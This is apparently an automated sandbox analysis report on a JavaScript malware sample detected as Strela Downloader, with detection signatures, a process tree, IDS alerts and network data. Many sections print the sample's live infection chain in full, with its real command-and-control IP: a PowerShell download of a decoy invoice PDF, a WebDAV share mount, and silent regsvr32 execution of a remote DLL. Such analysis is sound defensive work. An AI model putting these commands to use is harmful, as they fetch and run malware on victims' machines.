Edit tour

Windows Analysis Report
20314304422672320911.js

Overview

General Information

Sample name:	20314304422672320911.js
Analysis ID:	1588801
MD5:	fde76b31b6c4f60db6c75db59124617b
SHA1:	93fcd38c2eaa6afdb688d46330be1ece47090a30
SHA256:	f113cc95dd2e026055d567b88597406c3893136cd6a11cb88c14a13d876c6e89
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5944 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5428 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 644 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7612 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1760,i,3337423066596342454,6841710697410949733,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7412 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7448 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7680 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5944	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 644, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 644, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ProcessId: 5944, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7448, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ProcessId: 5944, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5428, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 644, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7448, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7680, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7412, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7448, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\20314304422672320911.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5944, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll, ProcessId: 5428, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:39:40.282129+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:39:42.696721+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:39:40.282129+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 20314304422672320911.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 20314304422672320911.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:39:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 